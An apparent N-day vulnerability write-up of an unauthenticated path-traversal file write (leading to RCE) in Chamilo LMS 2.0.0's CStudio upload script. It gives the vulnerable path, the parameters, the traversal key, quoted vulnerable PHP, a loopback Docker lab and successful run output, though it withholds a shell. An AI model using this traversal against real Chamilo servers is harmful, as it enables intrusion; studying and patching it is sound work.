Research/CVE-2026-45140
N-dayCVE-2026-45140CriticalPublic

CVE-2026-45140: Chamilo LMS, unauthenticated RCE

Chamilo 2.0.0 CStudio big-upload.php takes GET key with no sanitization and no login. fopen appends php://input onto cacheDir plus that key. Traversal into public/ is a web file. The GHSA did not name the path.

Name
CVE-2026-45140: Chamilo LMS, unauthenticated RCE
Type
N-day analysis
CVE
CVE-2026-45140
CVE Risk
critical
Disclosure Status
public
Vendor
chamilo
Affected
Chamilo LMS (chamilo-lms) 2.0.0; patched in 2.0.1
Published
18 Sept 2026
Updated
18 Sept 2026
Tags
n-day, chamilo, path-traversal, file-upload, cwe-22, cwe-434, unauthenticated, rce

The advisory did not name the file

I am @abraxas_null. The proof of concept is on GitHub: abraxas/CVE-2026-45140 (loopback client). The lab stack is lab/: Dockerfile, docker-compose.yml, apache-lab.conf. Authorized lab only. It talks to loopback.

CVE-2026-45140 (NVD, GHSA-g4c3-4g96-6g4m) is unauthenticated RCE in Chamilo LMS 2.0.0. The GHSA says "ability to run arbitrary code on the server without authentication" and stops there. No path. No parameter. CWE-22 plus CWE-434. 9.8 Critical. Patched in 2.0.1 (commit 4bdba1b).

The file is public/plugin/CStudio/editor/import-project/inc/big-upload.php. HTTP is POST with action=upload and key=. key is concatenated onto the cache directory. There is no api_get_user_id(). There is no path sanitization. fopen(..., 'a') writes php://input there. ../../../../public/poc-witness.txt is a file Apache will serve.

This is the map I used to get from a silent advisory to a witness in the document root. Isolated lab, loopback only. I am not publishing a shell. A unique string in a .txt is the proof. The upload is append-mode; a second <?php in the same .php file is a parse error, so the lab does not use .php. The stack is in the CVE repo so you can run it at home. The client is the repo above.

What an attacker can do

POST the plugin path with action=upload and a key that walks into public/. Body is attacker bytes. GET the written file. Writing .php under public/ is RCE. The lab witness is .txt because fopen appends and a second <?php in the same file is a parse error.

The lab (run this at home)

Source of truth is lab/ on GitHub. The Dockerfile pins wordpress:6.4-php8.2-apache as a PHP/Apache host. Compose adds mysql:8.0. Document root is Chamilo's public/. Port on loopback only. Put Chamilo 2.0.0 next to compose as ./chamilo (release).

Dockerfile
# Loopback lab image pin for CVE-2026-45140. Full stack: docker-compose.yml
FROM wordpress:6.4-php8.2-apache
YAML
# CVE-2026-45140 Chamilo LMS 2.0.0 lab. Loopback only.
services:
  db:
    image: mysql:8.0
    environment:
      MYSQL_DATABASE: chamilo
      MYSQL_USER: chamilo
      MYSQL_PASSWORD: chamilo
      MYSQL_ROOT_PASSWORD: root
    command: ["--default-authentication-plugin=mysql_native_password", "--sql-mode="]
    healthcheck:
      test: ["CMD", "mysqladmin", "ping", "-h", "127.0.0.1", "-uroot", "-proot"]
      interval: 5s
      timeout: 5s
      retries: 30
      start_period: 15s

  chamilo:
    image: wordpress:6.4-php8.2-apache
    ports:
      - "127.0.0.1:8088:80"
    environment:
      APACHE_DOCUMENT_ROOT: /var/www/html/public
    volumes:
      - ./chamilo:/var/www/html
      - ./apache-lab.conf:/etc/apache2/sites-enabled/000-default.conf:ro
    depends_on:
      db:
        condition: service_healthy
    extra_hosts:
      - "localhost:127.0.0.1"
INI
<VirtualHost *:80>
  ServerName 127.0.0.1
  DocumentRoot /var/www/html/public
  RewriteEngine On
  <Directory /var/www/html/public>
    AllowOverride All
    Require all granted
  </Directory>
</VirtualHost>

Bring-up from the CVE repo lab/:

Plain text
git clone https://github.com/abraxas/CVE-2026-45140
cd CVE-2026-45140/lab
# place Chamilo LMS 2.0.0 as ./chamilo
docker compose up -d --force-recreate
# finish the Chamilo installer so APP_INSTALLED=1
python3 ../CVE-2026-45140-Abraxas-Labs.py

var/cache has to be writable. CStudio files have to be under public/plugin/CStudio. If you skip the installer you get a 302 to /main/install/index.php and no write. Do not publish the port off loopback. The proof of concept is written for 127.0.0.1:8088.

What the tree actually registers

The script at the bottom of big-upload.php is the whole router. No session. No CSRF. key from GET or POST becomes the temp name.

PHP
$bigUpload = new BigUpload();

$tempName = null;
if (isset($_GET['key'])) {
    $tempName = $_GET['key'];
}
if (isset($_POST['key'])) {
    $tempName = $_POST['key'];
}
$bigUpload->setTempName($tempName);

switch ($_GET['action']) {
    case 'upload':
        print $bigUpload->uploadFile();
        break;

setTempName trusts $value when it is set. No basename. No .. check.

PHP
public function setTempName($value = null): void
{
    if ($value) {
        $this->tempName = $value;
    } else {
        $this->tempName = mt_rand().'.tmp';
    }
}

The constructor sets the temp directory to Container::getCacheDir().'cstudio_upload/'. uploadFile concatenates that directory with the name and opens it append.

PHP
public function uploadFile()
{
    if (!is_dir($this->tempDirectory)) {
        mkdir($this->tempDirectory, 0777, true);
    }
    $fileData = file_get_contents('php://input');
    $handle = fopen($this->getTempDirectory().$this->getTempName(), 'a');
    fwrite($handle, $fileData);
    fclose($handle);
    return json_encode([
        'key' => $this->getTempName(),
        'errorStatus' => 0,
    ]);
}

key=../../../../public/poc-witness.txt walks out of cache into the document root. The JSON comes back errorStatus: 0 with that same key. Then GET /poc-witness.txt.

2.0.1 adds api_get_user_id() 403, api_replace_dangerous_char, and disable_dangerous_file on the key, and stops taking the finish name from POST. That is the patch. Update.

The 200 that was the installer

The first client I pointed at this was polite. It used a Symfony action= because Chamilo 2 is Symfony. This file is a leftover chunked-upload script under public/plugin. You get the homepage, or a 302 to /main/install/index.php if the LMS is not installed. Neither is a write.

A few other ways to lose without learning anything:

  • 302 installer. APP_INSTALLED is not 1. Finish the install.
  • 403 JSON Forbidden. You are on 2.0.1.
  • GET without action=upload. The switch does nothing useful.
  • Writing .php twice. fopen append. A second <?php in the same file is a parse error. The lab witness is .txt.
  • A reverse shell. Theatre. The witness is a unique string in the written file.

The tell is small JSON from the upload, then a tiny GET of the file. Theme HTML is a miss. {"key":"..\/..\/..\/..\/public\/poc-witness.txt","errorStatus":0} is the router matching.

What I actually did

Treat the on-disk product as the spec. The GHSA named RCE and not the path. I grepped CStudio for uploads, then read setTempName and uploadFile. Proof of concept: CVE-2026-45140-Abraxas-Labs.py.

POST the script, then GET the file. action=upload, key with traversal into public/, body a unique string. Then GET that file from the document root.

Witness in the file. POCWitness45140. If that string is there, fopen wrote attacker-controlled bytes to a web path. Writing .php under public/ is how this becomes RCE. I am not going to print that recipe.

Last lab run, trimmed:

Plain text
step1 upload status=200 len=65
{"key":"..\/..\/..\/..\/public\/poc-witness.txt","errorStatus":0}
step2 GET /poc-witness.txt status=200 len=16
POCWitness45140
SUCCESS CVE-2026-45140

Small JSON. Then the file. That is the whole argument. The client that produced it is on GitHub.

Wrong turns: hitting a Symfony route; 302 to /main/install/index.php because APP_INSTALLED is not 1; 403 JSON Forbidden on 2.0.1; GET without action=upload; writing .php twice and calling the parse error a miss.

What this is not

It is not a Symfony controller. It is not authenticated. It is not "Chamilo uploads to a private cache." The cache path plus an unsanitized key is the document root if you walk far enough.

Update to 2.0.1 or newer. Re-run the loopback client against the patched build: the witness must not appear.

I am not going to print a PHP body you can paste at someone else's CStudio upload. The missing auth check and the unsanitized key are the useful part. If you own the box, run the proof of concept against loopback.

Client bugs look like product bugs. A helper that shadows http.client never sends a packet. .recv() on an HTTPResponse is not .read(). I mention that once because it cost time and looked, for a minute, like Chamilo was fine.

References